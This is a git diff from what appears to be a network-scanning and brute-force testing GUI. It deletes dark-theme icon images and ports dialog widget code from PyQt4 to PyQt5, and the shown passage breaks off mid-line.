zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjjKx9jP7LeL$-D$|SkfJR9T^xl z_H+M9WCij$3p^r=85sBugD~Uq{1qucL5ULAh?3y^w370~qEv>0#LT=By}Z;C1rt33 zJ`@(t+}9+VxKD(vOcw bpV8Yib^U@4%V)Yks~9|8{an^LB{Ts5&cjUT diff --git a/ui/darkstyle/icon_close.png b/ui/darkstyle/icon_close.png deleted file mode 100644 index ece7c28b9cf14f2a10fb7b58fe87e19f19f3a25d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 422 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjEa{HEjtmSN`?>!lvI6;x#X;^) z4C~IxyaaL-l0AZa85pY67#JE_7#My5g&JNkFq9fFFuY1&V6d9Oz#v{QXIG#NP=YPV z+ua371Hn({-St3 z1W2#{3nc6{#qKB_n*?NeE3Z~P%Cuv3L8McU)F$19HwtRl0?!u2JoL%=6YxlQ5>NV~ zE^fA5fr}=SGH3Z@&b#;`Fyz9v4brTKxfvMN7xoq(RcyNlv{JRiHKHUXu_Vv=^7b_7#drd7+V>eX&V?=85q3$W9f;aAvZrIGp!Q0h8YVRzXCOAfNUr( zOSei&EKb!eEy`p_%gjl&(%087$t}>&O-#>B&eruwD+sId%}=t++^!GQ!{F)a=d#Wz Gp$PyJ(T2tV diff --git a/ui/darkstyle/icon_radiobutton_checked.png b/ui/darkstyle/icon_radiobutton_checked.png deleted file mode 100644 index f747f4989cfc6113a43f98a53e4aa337bbb00282..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 370 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM0wlfaz7{huFj{)LIEGjV?mc+cQ@K!v;llkV z2Em<+TstBfI=U8V#M!8VP!7zLc3X5n1DWZi)qVqVs1`9uK$}qg7^3dx$HoHU|2GE My85}Sb4q9e03n;5kpKVy diff --git a/ui/darkstyle/icon_radiobutton_checked_disabled.png b/ui/darkstyle/icon_radiobutton_checked_disabled.png deleted file mode 100644 index fa554cbb3ba874b49b41b95927db8f3b92fbf1fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 617 zcmV-v0+#)WP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0oqAKK~zXf-IYN~TtO5?TL-!l#VkT33lLFJ z(iogLP)zm_5QGE*8T1a6xQ15e5?p{1)Fo(QCdoO?t^Td4?oS4pc;P_*`)*ZzUe&Me zylnM)y;<0X6Zj6lg1^7QTbND!-^9Q-a0kCzxP{FOYZu{Z_>#eL0lP20NFcZ5Grl-ZgMXZ5%K8#=EATe{ctL({E>_(U#MT@(!^nCNt32Uq* zZhk-BajZs|o^6YBvGi=q=wvlc6F0vQ?>bf^Og|ut!~XHRY}_R76F2WZ>OID4g!$hW zC@q?grRQlGovcPbar3X@UBzmI>D^*+FP7eFyh$u4ZvK6|qgahFy|^rT)TUzVAH=Wm zAu)3v)64kX*o`plpBI;b;ZapQufQqXhdvD7T=D!49BZrp{?HVK&4k?CrP!?^`x<^` z>{{%)2zV=&MZCy{?RqY2;G37pKczHYguJfHBI2I-h58ZMM)9<`p{3{Y5!$coBElQs z#Z@L4hdrO%mT_XBe=b{a4A<}&uHXo|P~XrOqE6=z20Wq*i~*uf00000NkvXXu0mjf DBpw!u diff --git a/ui/darkstyle/icon_radiobutton_checked_pressed.png b/ui/darkstyle/icon_radiobutton_checked_pressed.png deleted file mode 100644 index 7b4bb1106ab17be557f94cd40956484fe7909e09..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 616 zcmV-u0+;=XP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0oh4JK~zXf-IYyBTtOH`TL-!l#VkT33lK4) zM3hW2P)zm_Xb30>?mGohl5PKaG>A)ZdEW&HKnjWF$>7ngy-QB^!I!3o@jV;H=-;`tLe)>c3N&=iHWgxuVP*sUV_7Jg;y zyV!LR@K!8~c##d-^{=dfZ(b(fOKG$Sd0m%9#69r~^&_&4;%RY1OV4E&+OO*(!mHrL zRVEmPJs;neQDUHfE*o$J*YFsw;1JfKzM-!~oz7p{3_bQImI8wS0000KF1Pf3GwFP5xd6L7An~<5K?75c)&OV+~Pik3(QpMq4JEg6dLbn)58rqb$&R(++nux#}|&W&IEI%b&k?c?cCI>g@qUQ&eZv3-%cDM_^JxOy#N3J07*qo IM6N<$f~R4H-v9sr diff --git a/ui/darkstyle/icon_radiobutton_unchecked_disabled.png b/ui/darkstyle/icon_radiobutton_unchecked_disabled.png deleted file mode 100644 index 87d18463ca3de25b42f8f279a70b28f5cd3d0d25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 538 zcmV+#0_FXQP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0gFjQK~zXf-IZNRLQxcj)dwAkQiBL-3W1Us zz4V||gDD7la0W^ZMWO*HQB9$;m-<$$%^|wi>j`|Q1s}-TKj*T~kG21;$z;-kW4MI} zcsKfe14qzudY&jeglG7u;0gLJs}{)(xOTCa!wA~YG#wbj9Yo$0G~A|KBt`QVII&$Q z;&ssCukf{qL&YLNV~OT_wkt($7h;i~?e8L>4UL(v{qiDFqmilh5t_D>Fm+m#Ft?Q@ z>NKv{lcDV-OdUl9N4By>?WudrY$ajpY%AEdl`U#_++%4g2~!tH!JqTnP}FK4)njEV z33KZU#E3e!vPJE#dn{}vVd`yBaBM4E)SkP?)K(Iv9xerS)atf3mTKVMJqEUuFf~6t zTuR73s??mhR--Q7M*@8(>DqT~SBl(ycysN6?P8IjS1}gRLsmL2#Xw&k%`Y7)7fE`q zV-cY}(GArl(inwKi#9Z7E-s+@xek%s13g^PpbX7?{aDIGq5fQkFoPwm%mSt`fL~wC czo1&}6PiV{{Bs1%hyVZp07*qoM6N<$g2%GpegFUf diff --git a/ui/darkstyle/icon_radiobutton_unchecked_pressed.png b/ui/darkstyle/icon_radiobutton_unchecked_pressed.png deleted file mode 100644 index 8f4d548b081590f7bd126d98aa00743c0170149e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 537 zcmV+!0_OdRP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02p*dSaefwW^{L9 za%BK;VQFr3E^cLXAT%y8E;(#7eog=Y0g6dPK~zXf-IZNRLQxcj)dwAkQiBL-3W1Us zz4V||gDD7_gJLsLq5&vTO`)=v`c|yXA-dP=33{jnAIRE2=d#a_wg0X8eBOd%xPg0k zGx|M)BWO82PZS=)6TDaO2z{4Ti{u7eyI3q>1Z`-V4vgUzBJT_WQte7PUL>v9gtfsSBjw_xWupYPFB*v9^_j z`RfbBh&r~iMeVM8ENvxW>TOYQY%5#Tp1a4yRuZNjE(LYe>bAF*YT(X22DXzhH9tLE zO2|H{)SS6iqb}Y@0(~dx+IMYNirjs8b?t%eVv(R%F&5E7Ryr=lKwlosFC8iuNqVkh z5urWN4b>&m7==!YHZ*1~E};6k4w2jgJzUYC49$G=Sjt49{#=GIg%zyL5+*Q!A79MB bpjzz%)7KnVvMmjB00000NkvXXu0mjfZmZ&p diff --git a/ui/darkstyle/icon_restore.png b/ui/darkstyle/icon_restore.png deleted file mode 100644 index be29650401564c0bb4d3f1527dbcd1931ca46708..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjEa{HEjtmSN`?>!lvI6;x#X;^) z4C~IxyaaL-l0AZa85pY67#JE_7#My5g&JNkFq9fFFuY1&V6d9Oz#v{QXIG#NP=YPV z+ua371Hn({-St3PI1gGYY|NsBjPvS{Q zaWS0SdCe|C@p|f!UsL|s9e64f^Qfi9tyrF?mb+k?Qc>{P2Ok+XHcaqm+t1HtBmdwF zv=^7b_7#drd z7+V>cXd4(<85nFjsqqg*LvDUbW?Cg~4Tq;pZ~|)30NGGnmTr}lSe&X`T9nC?hDGs&BmALjAB#;Q<@k=#Mf-#lAw(+U3%24DaN;GYAZ0t^6TvPy9R S9_vZ~0000a~60+ z7BevL9RguSQ4OyKprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf&00?v z$B>G+w-*))HW)ClI944Blonm`vcbh=9fz^{wLg1yC7;{5)bQBXUH0d$=ChwJWOrrh u;t&zkPzrEa(BUB1sKi7cf&ZNr{p{Q~c4mFyk(~r|ID@CFpUXO@geCxAGgaIG diff --git a/ui/dialogs.py b/ui/dialogs.py index 8ba25342..c39081b0 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -12,26 +12,28 @@ ''' import os -from PyQt4.QtGui import * # for filters dialog +from PyQt5.QtGui import * # for filters dialog +from PyQt5.QtWidgets import * +from PyQt5 import QtWidgets, QtGui from app.auxiliary import * # for timestamps from six import u as unicode # progress bar widget that displayed when long operations are taking place (eg: nmap, opening project) -class ProgressWidget(QtGui.QDialog): +class ProgressWidget(QtWidgets.QDialog): def __init__(self, text, parent=None): - QtGui.QDialog.__init__(self, parent) + QtWidgets.QDialog.__init__(self, parent) self.text = text self.setWindowTitle(text) self.setupLayout() def setupLayout(self): self.setWindowModality(True) - vbox = QtGui.QVBoxLayout() - self.label = QtGui.QLabel('') - self.progressBar = QtGui.QProgressBar() + vbox = QtWidgets.QVBoxLayout() + self.label = QtWidgets.QLabel('') + self.progressBar = QtWidgets.QProgressBar() vbox.addWidget(self.label) vbox.addWidget(self.progressBar) - hbox = QtGui.QHBoxLayout() + hbox = QtWidgets.QHBoxLayout() hbox.addStretch(1) vbox.addLayout(hbox) self.setLayout(vbox) @@ -49,18 +51,18 @@ def reset(self, text): self.setProgress(0) # this class is used to display screenshots and perform zoom operations on the images -class ImageViewer(QtGui.QWidget): +class ImageViewer(QtWidgets.QWidget): def __init__(self, parent=None): - QtGui.QWidget.__init__(self, parent) + QtWidgets.QWidget.__init__(self, parent) self.scaleFactor = 0.0 - self.imageLabel = QtGui.QLabel() + self.imageLabel = QtWidgets.QLabel() self.imageLabel.setBackgroundRole(QtGui.QPalette.Base) - self.imageLabel.setSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored) + self.imageLabel.setSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Ignored) self.imageLabel.setScaledContents(True) - self.scrollArea = QtGui.QScrollArea() + self.scrollArea = QtWidgets.QScrollArea() self.scrollArea.setBackgroundRole(QtGui.QPalette.Dark) self.scrollArea.setWidget(self.imageLabel) @@ -68,7 +70,7 @@ def open(self, fileName): if fileName: image = QtGui.QImage(fileName) if image.isNull(): - QtGui.QMessageBox.information(self, "Image Viewer","Cannot load %s." % fileName) + QtWidgets.QMessageBox.information(self, "Image Viewer","Cannot load %s." % fileName) return self.imageLabel.setPixmap(QtGui.QPixmap.fromImage(image)) @@ -101,13 +103,13 @@ def adjustScrollBar(self, scrollBar, factor): scrollBar.setValue(int(factor * scrollBar.value() + ((factor - 1) * scrollBar.pageStep()/2))) # this class is used to display the process status GIFs -class ImagePlayer(QtGui.QWidget): +class ImagePlayer(QtWidgets.QWidget): def __init__(self, filename, parent=None): - QtGui.QWidget.__init__(self, parent) + QtWidgets.QWidget.__init__(self, parent) self.movie = QtGui.QMovie(filename) # load the file into a QMovie - self.movie_screen = QtGui.QLabel() - self.movie_screen.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) - main_layout = QtGui.QVBoxLayout() + self.movie_screen = QtWidgets.QLabel() + self.movie_screen.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + main_layout = QtWidgets.QVBoxLayout() main_layout.addWidget(self.movie_screen) self.setLayout(main_layout) self.movie.setCacheMode(QtGui.QMovie.CacheAll) @@ -117,9 +119,9 @@ def __init__(self, filename, parent=None): # self.show() # dialog shown when the user selects "Add host(s)" from the menu -class AddHostsDialog(QtGui.QDialog): +class AddHostsDialog(QtWidgets.QDialog): def __init__(self, parent=None): - QtGui.QDialog.__init__(self, parent) + QtWidgets.QDialog.__init__(self, parent) self.setupLayout() def setupLayout(self): @@ -127,32 +129,32 @@ def setupLayout(self): self.setWindowTitle('Add host(s) to scope') self.setFixedSize(340, 210) - self.flayout = QtGui.QVBoxLayout() + self.flayout = QtWidgets.QVBoxLayout() - self.label1 = QtGui.QLabel(self) + self.label1 = QtWidgets.QLabel(self) self.label1.setText('IP Range') - self.textinput = QtGui.QLineEdit(self) - self.hlayout = QtGui.QHBoxLayout() + self.textinput = QtWidgets.QLineEdit(self) + self.hlayout = QtWidgets.QHBoxLayout() self.hlayout.addWidget(self.label1) self.hlayout.addWidget(self.textinput) - self.label2 = QtGui.QLabel(self) + self.label2 = QtWidgets.QLabel(self) self.label2.setText('eg: 192.168.1.0/24 10.10.10.10-20 1.2.3.4 ') self.font = QtGui.QFont('Arial', 10) self.label2.setFont(self.font) self.label2.setAlignment(Qt.AlignRight) self.spacer = QSpacerItem(15,15) ### - self.validationLabel = QtGui.QLabel(self) + self.validationLabel = QtWidgets.QLabel(self) self.validationLabel.setText('Invalid input. Please try again!') self.validationLabel.setStyleSheet('QLabel { color: red }') ### self.spacer2 = QSpacerItem(5,5) - self.discovery = QtGui.QCheckBox(self) + self.discovery = QtWidgets.QCheckBox(self) self.discovery.setText('Run nmap host discovery') self.discovery.toggle() # on by default - self.nmap = QtGui.QCheckBox(self) + self.nmap = QtWidgets.QCheckBox(self) self.nmap.setText('Run staged nmap scan') self.nmap.toggle() # on by default @@ -161,7 +163,7 @@ def setupLayout(self): self.addButton = QPushButton('Add to scope', self) self.addButton.setMaximumSize(110, 30) self.addButton.setDefault(True) - self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2 = QtWidgets.QHBoxLayout() self.hlayout2.addWidget(self.cancelButton) self.hlayout2.addWidget(self.addButton) self.flayout.addLayout(self.hlayout) @@ -177,10 +179,10 @@ def setupLayout(self): self.flayout.addLayout(self.hlayout2) self.setLayout(self.flayout) -class BruteWidget(QtGui.QWidget): +class BruteWidget(QtWidgets.QWidget): def __initold__(self, ip, port, service, hydraServices, hydraNoUsernameServices, hydraNoPasswordServices, bruteSettings, generalSettings, parent=None): - QtGui.QWidget.__init__(self, parent) + QtWidgets.QWidget.__init__(self, parent) self.ip = ip self.port = port self.service = service @@ -201,7 +203,7 @@ def __initold__(self, ip, port, service, hydraServices, hydraNoUsernameServices, self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) def __init__(self, ip, port, service, settings, parent=None): - QtGui.QWidget.__init__(self, parent) + QtWidgets.QWidget.__init__(self, parent) self.ip = ip self.port = port self.service = service @@ -241,27 +243,27 @@ def setupLayout(self): elif self.service == "vmware-auth": self.service = "vmauthd" - self.label1 = QtGui.QLabel() + self.label1 = QtWidgets.QLabel() self.label1.setText('IP') #self.label1.setFixedWidth(10) # experimental #self.label1.setAlignment(Qt.AlignLeft) - self.ipTextinput = QtGui.QLineEdit() + self.ipTextinput = QtWidgets.QLineEdit() self.ipTextinput.setText(str(self.ip)) self.ipTextinput.setFixedWidth(125) - self.label2 = QtGui.QLabel() + self.label2 = QtWidgets.QLabel() self.label2.setText('Port') #self.label2.setFixedWidth(10) # experimental #self.label2.setAlignment(Qt.AlignLeft) - self.portTextinput = QtGui.QLineEdit() + self.portTextinput = QtWidgets.QLineEdit() self.portTextinput.setText(str(self.port)) self.portTextinput.setFixedWidth(60) - self.label3 = QtGui.QLabel() + self.label3 = QtWidgets.QLabel() self.label3.setText('Service') #self.label3.setFixedWidth(10) # experimental #self.label3.setAlignment(Qt.AlignLeft) - self.serviceComboBox = QtGui.QComboBox() + self.serviceComboBox = QtWidgets.QComboBox() self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); @@ -271,7 +273,7 @@ def setupLayout(self): self.serviceComboBox.setCurrentIndex(i) break -# self.labelPath = QtGui.QLineEdit() # this is the extra input field to insert the path to brute force +# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force # self.labelPath.setFixedWidth(800) # self.labelPath.setText('/') @@ -280,12 +282,12 @@ def setupLayout(self): self.runButton.setDefault(True) # new ### - self.validationLabel = QtGui.QLabel(self) + self.validationLabel = QtWidgets.QLabel(self) self.validationLabel.setText('Invalid input. Please try again!') self.validationLabel.setStyleSheet('QLabel { color: red }') ### - self.hlayout = QtGui.QHBoxLayout() + self.hlayout = QtWidgets.QHBoxLayout() self.hlayout.addWidget(self.label1) self.hlayout.addWidget(self.ipTextinput) self.hlayout.addWidget(self.label2) @@ -299,34 +301,34 @@ def setupLayout(self): ### self.hlayout.addStretch() - self.singleUserRadio = QtGui.QRadioButton() - self.label4 = QtGui.QLabel() + self.singleUserRadio = QtWidgets.QRadioButton() + self.label4 = QtWidgets.QLabel() self.label4.setText('Username') self.label4.setFixedWidth(70) - self.usersTextinput = QtGui.QLineEdit() + self.usersTextinput = QtWidgets.QLineEdit() self.usersTextinput.setFixedWidth(125) self.usersTextinput.setText(self.settings.brute_default_username) - self.userListRadio = QtGui.QRadioButton() - self.label5 = QtGui.QLabel() + self.userListRadio = QtWidgets.QRadioButton() + self.label5 = QtWidgets.QLabel() self.label5.setText('Username list') self.label5.setFixedWidth(90) - self.userlistTextinput = QtGui.QLineEdit() + self.userlistTextinput = QtWidgets.QLineEdit() self.userlistTextinput.setFixedWidth(125) self.browseUsersButton = QPushButton('Browse') self.browseUsersButton.setMaximumSize(80, 30) - self.foundUsersRadio = QtGui.QRadioButton() - self.label9 = QtGui.QLabel() + self.foundUsersRadio = QtWidgets.QRadioButton() + self.label9 = QtWidgets.QLabel() self.label9.setText('Found usernames') self.label9.setFixedWidth(117) - self.userGroup = QtGui.QButtonGroup() + self.userGroup = QtWidgets.QButtonGroup() self.userGroup.addButton(self.singleUserRadio) self.userGroup.addButton(self.userListRadio) self.userGroup.addButton(self.foundUsersRadio) self.foundUsersRadio.toggle() - self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2 = QtWidgets.QHBoxLayout() self.hlayout2.addWidget(self.singleUserRadio) self.hlayout2.addWidget(self.label4) self.hlayout2.addWidget(self.usersTextinput) @@ -339,47 +341,47 @@ def setupLayout(self): self.hlayout2.addStretch() #add usernames wordlist - self.singlePassRadio = QtGui.QRadioButton() - self.label6 = QtGui.QLabel() + self.singlePassRadio = QtWidgets.QRadioButton() + self.label6 = QtWidgets.QLabel() self.label6.setText('Password') self.label6.setFixedWidth(70) - self.passwordsTextinput = QtGui.QLineEdit() + self.passwordsTextinput = QtWidgets.QLineEdit() self.passwordsTextinput.setFixedWidth(125) self.passwordsTextinput.setText(self.settings.brute_default_password) - self.passListRadio = QtGui.QRadioButton() - self.label7 = QtGui.QLabel() + self.passListRadio = QtWidgets.QRadioButton() + self.label7 = QtWidgets.QLabel() self.label7.setText('Password list') self.label7.setFixedWidth(90) - self.passlistTextinput = QtGui.QLineEdit() + self.passlistTextinput = QtWidgets.QLineEdit() self.passlistTextinput.setFixedWidth(125) self.browsePasswordsButton = QPushButton('Browse') self.browsePasswordsButton.setMaximumSize(80, 30) - self.foundPasswordsRadio = QtGui.QRadioButton() - self.label10 = QtGui.QLabel() + self.foundPasswordsRadio = QtWidgets.QRadioButton() + self.label10 = QtWidgets.QLabel() self.label10.setText('Found passwords') self.label10.setFixedWidth(115) - self.passGroup = QtGui.QButtonGroup() + self.passGroup = QtWidgets.QButtonGroup() self.passGroup.addButton(self.singlePassRadio) self.passGroup.addButton(self.passListRadio) self.passGroup.addButton(self.foundPasswordsRadio) self.foundPasswordsRadio.toggle() - self.label8 = QtGui.QLabel() + self.label8 = QtWidgets.QLabel() self.label8.setText('Threads') self.label8.setFixedWidth(60) self.threadOptions = [] for i in range(1, 129): self.threadOptions.append(str(i)) - self.threadsComboBox = QtGui.QComboBox() + self.threadsComboBox = QtWidgets.QComboBox() self.threadsComboBox.insertItems(0, self.threadOptions) self.threadsComboBox.setMinimumContentsLength(3) self.threadsComboBox.setMaxVisibleItems(3) self.threadsComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); self.threadsComboBox.setCurrentIndex(15) - self.hlayout3 = QtGui.QHBoxLayout() + self.hlayout3 = QtWidgets.QHBoxLayout() self.hlayout3.addWidget(self.singlePassRadio) self.hlayout3.addWidget(self.label6) self.hlayout3.addWidget(self.passwordsTextinput) @@ -395,38 +397,38 @@ def setupLayout(self): #self.hlayout3.addStretch() #label6.setText('Try blank password') - self.checkBlankPass = QtGui.QCheckBox() + self.checkBlankPass = QtWidgets.QCheckBox() self.checkBlankPass.setText('Try blank password') self.checkBlankPass.toggle() #add 'try blank password' #label7.setText('Try login as password') - self.checkLoginAsPass = QtGui.QCheckBox() + self.checkLoginAsPass = QtWidgets.QCheckBox() self.checkLoginAsPass.setText('Try login as password') self.checkLoginAsPass.toggle() #add 'try login as password' #label8.setText('Loop around users') - self.checkLoopUsers = QtGui.QCheckBox() + self.checkLoopUsers = QtWidgets.QCheckBox() self.checkLoopUsers.setText('Loop around users') self.checkLoopUsers.toggle() #add 'loop around users' #label9.setText('Exit on first valid') - self.checkExitOnValid = QtGui.QCheckBox() + self.checkExitOnValid = QtWidgets.QCheckBox() self.checkExitOnValid.setText('Exit on first valid') self.checkExitOnValid.toggle() #add 'exit after first valid combination is found' - self.checkVerbose = QtGui.QCheckBox() + self.checkVerbose = QtWidgets.QCheckBox() self.checkVerbose.setText('Verbose') - self.checkAddMoreOptions = QtGui.QCheckBox() + self.checkAddMoreOptions = QtWidgets.QCheckBox() self.checkAddMoreOptions.setText('Additional Options') ### - self.labelPath = QtGui.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force self.labelPath.setFixedWidth(800) self.labelPath.setText('/') ### - self.hlayout4 = QtGui.QHBoxLayout() + self.hlayout4 = QtWidgets.QHBoxLayout() self.hlayout4.addWidget(self.checkBlankPass) self.hlayout4.addWidget(self.checkLoginAsPass) self.hlayout4.addWidget(self.checkLoopUsers) @@ -435,12 +437,12 @@ def setupLayout(self): self.hlayout4.addWidget(self.checkAddMoreOptions) self.hlayout4.addStretch() - self.layoutAddOptions = QtGui.QHBoxLayout() + self.layoutAddOptions = QtWidgets.QHBoxLayout() self.layoutAddOptions.addWidget(self.labelPath) self.labelPath.hide() self.layoutAddOptions.addStretch() - self.display = QtGui.QPlainTextEdit() + self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) if self.settings.general_tool_output_black_background == 'True': #self.display.setStyleSheet("background: rgb(0,0,0)") # black background @@ -451,7 +453,7 @@ def setupLayout(self): self.display.setPalette(p) self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black - self.vlayout = QtGui.QVBoxLayout() + self.vlayout = QtWidgets.QVBoxLayout() self.vlayout.addLayout(self.hlayout) self.vlayout.addLayout(self.hlayout4) self.vlayout.addLayout(self.layoutAddOptions) @@ -476,11 +478,11 @@ def showMoreOptions(self): def wordlistDialog(self, title='Choose username list'): if title == 'Choose username list': - filename = QtGui.QFileDialog.getOpenFileName(self, title, self.settings.brute_username_wordlist_path) + filename = QtWidgets.QFileDialog.getOpenFileName(self, title, self.settings.brute_username_wordlist_path) self.userlistTextinput.setText(str(filename)) self.userListRadio.toggle() else: - filename = QtGui.QFileDialog.getOpenFileName(self, title, self.settings.brute_password_wordlist_path) + filename = QtWidgets.QFileDialog.getOpenFileName(self, title, self.settings.brute_password_wordlist_path) self.passlistTextinput.setText(str(filename)) self.passListRadio.toggle() @@ -561,7 +563,7 @@ def toggleRunButton(self): def resetDisplay(self): # used to be able to display the tool output in both the Brute tab and the tool display panel self.display.setParent(None) - self.display = QtGui.QPlainTextEdit() + self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) if self.settings.general_tool_output_black_background == 'True': #self.display.setStyleSheet("background: rgb(0,0,0)") # black background @@ -574,9 +576,9 @@ def resetDisplay(self): # used to be self.vlayout.addWidget(self.display) # dialog displayed when the user clicks on the advanced filters button -class FiltersDialog(QtGui.QDialog): +class FiltersDialog(QtWidgets.QDialog): def __init__(self, parent=None): - QtGui.QDialog.__init__(self, parent) + QtWidgets.QDialog.__init__(self, parent) self.setupLayout() self.applyButton.clicked.connect(self.close) self.cancelButton.clicked.connect(self.close) @@ -621,12 +623,12 @@ def setupLayout(self): keywordLayout.addWidget(self.hostKeywordText) keywordSearchBox.setLayout(keywordLayout) - hlayout = QtGui.QHBoxLayout() + hlayout = QtWidgets.QHBoxLayout() hlayout.addWidget(hostsBox) hlayout.addWidget(portsBox) hlayout.addWidget(keywordSearchBox) - buttonLayout = QtGui.QHBoxLayout() + buttonLayout = QtWidgets.QHBoxLayout() self.applyButton = QPushButton('Apply', self) self.applyButton.setMaximumSize(110, 30) self.cancelButton = QPushButton('Cancel', self) @@ -675,96 +677,96 @@ def setKeywords(self, keywords): self.hostKeywordText.setText(keywords) # widget in which the host information is shown -class HostInformationWidget(QtGui.QWidget): +class HostInformationWidget(QtWidgets.QWidget): def __init__(self, informationTab, parent=None): - QtGui.QWidget.__init__(self, parent) + QtWidgets.QWidget.__init__(self, parent) self.informationTab = informationTab self.setupLayout() self.updateFields() # set default values def setupLayout(self): - self.HostStatusLabel = QtGui.QLabel() + self.HostStatusLabel = QtWidgets.QLabel() - self.HostStateLabel = QtGui.QLabel() - self.HostStateText = QtGui.QLabel() - self.HostStateLayout = QtGui.QHBoxLayout() + self.HostStateLabel = QtWidgets.QLabel() + self.HostStateText = QtWidgets.QLabel() + self.HostStateLayout = QtWidgets.QHBoxLayout() self.HostStateLayout.addSpacing(20) self.HostStateLayout.addWidget(self.HostStateLabel) self.HostStateLayout.addWidget(self.HostStateText) self.HostStateLayout.addStretch() - self.OpenPortsLabel = QtGui.QLabel() - self.OpenPortsText = QtGui.QLabel() - self.OpenPortsLayout = QtGui.QHBoxLayout() + self.OpenPortsLabel = QtWidgets.QLabel() + self.OpenPortsText = QtWidgets.QLabel() + self.OpenPortsLayout = QtWidgets.QHBoxLayout() self.OpenPortsLayout.addSpacing(20) self.OpenPortsLayout.addWidget(self.OpenPortsLabel) self.OpenPortsLayout.addWidget(self.OpenPortsText) self.OpenPortsLayout.addStretch() - self.ClosedPortsLabel = QtGui.QLabel() - self.ClosedPortsText = QtGui.QLabel() - self.ClosedPortsLayout = QtGui.QHBoxLayout() + self.ClosedPortsLabel = QtWidgets.QLabel() + self.ClosedPortsText = QtWidgets.QLabel() + self.ClosedPortsLayout = QtWidgets.QHBoxLayout() self.ClosedPortsLayout.addSpacing(20) self.ClosedPortsLayout.addWidget(self.ClosedPortsLabel) self.ClosedPortsLayout.addWidget(self.ClosedPortsText) self.ClosedPortsLayout.addStretch() - self.FilteredPortsLabel = QtGui.QLabel() - self.FilteredPortsText = QtGui.QLabel() - self.FilteredPortsLayout = QtGui.QHBoxLayout() + self.FilteredPortsLabel = QtWidgets.QLabel() + self.FilteredPortsText = QtWidgets.QLabel() + self.FilteredPortsLayout = QtWidgets.QHBoxLayout() self.FilteredPortsLayout.addSpacing(20) self.FilteredPortsLayout.addWidget(self.FilteredPortsLabel) self.FilteredPortsLayout.addWidget(self.FilteredPortsText) self.FilteredPortsLayout.addStretch() ################### - self.AddressLabel = QtGui.QLabel() + self.AddressLabel = QtWidgets.QLabel() - self.IP4Label = QtGui.QLabel() - self.IP4Text = QtGui.QLabel() - self.IP4Layout = QtGui.QHBoxLayout() + self.IP4Label = QtWidgets.QLabel() + self.IP4Text = QtWidgets.QLabel() + self.IP4Layout = QtWidgets.QHBoxLayout() self.IP4Layout.addSpacing(20) self.IP4Layout.addWidget(self.IP4Label) self.IP4Layout.addWidget(self.IP4Text) self.IP4Layout.addStretch() - self.IP6Label = QtGui.QLabel() - self.IP6Text = QtGui.QLabel() - self.IP6Layout = QtGui.QHBoxLayout() + self.IP6Label = QtWidgets.QLabel() + self.IP6Text = QtWidgets.QLabel() + self.IP6Layout = QtWidgets.QHBoxLayout() self.IP6Layout.addSpacing(20) self.IP6Layout.addWidget(self.IP6Label) self.IP6Layout.addWidget(self.IP6Text) self.IP6Layout.addStretch() - self.MacLabel = QtGui.QLabel() - self.MacText = QtGui.QLabel() - self.MacLayout = QtGui.QHBoxLayout() + self.MacLabel = QtWidgets.QLabel() + self.MacText = QtWidgets.QLabel() + self.MacLayout = QtWidgets.QHBoxLayout() self.MacLayout.addSpacing(20) self.MacLayout.addWidget(self.MacLabel) self.MacLayout.addWidget(self.MacText) self.MacLayout.addStretch() - self.dummyLabel = QtGui.QLabel() - self.dummyText = QtGui.QLabel() - self.dummyLayout = QtGui.QHBoxLayout() + self.dummyLabel = QtWidgets.QLabel() + self.dummyText = QtWidgets.QLabel() + self.dummyLayout = QtWidgets.QHBoxLayout() self.dummyLayout.addSpacing(20) self.dummyLayout.addWidget(self.dummyLabel) self.dummyLayout.addWidget(self.dummyText) self.dummyLayout.addStretch() ######### - self.OSLabel = QtGui.QLabel() + self.OSLabel = QtWidgets.QLabel() - self.OSNameLabel = QtGui.QLabel() - self.OSNameText = QtGui.QLabel() - self.OSNameLayout = QtGui.QHBoxLayout() + self.OSNameLabel = QtWidgets.QLabel() + self.OSNameText = 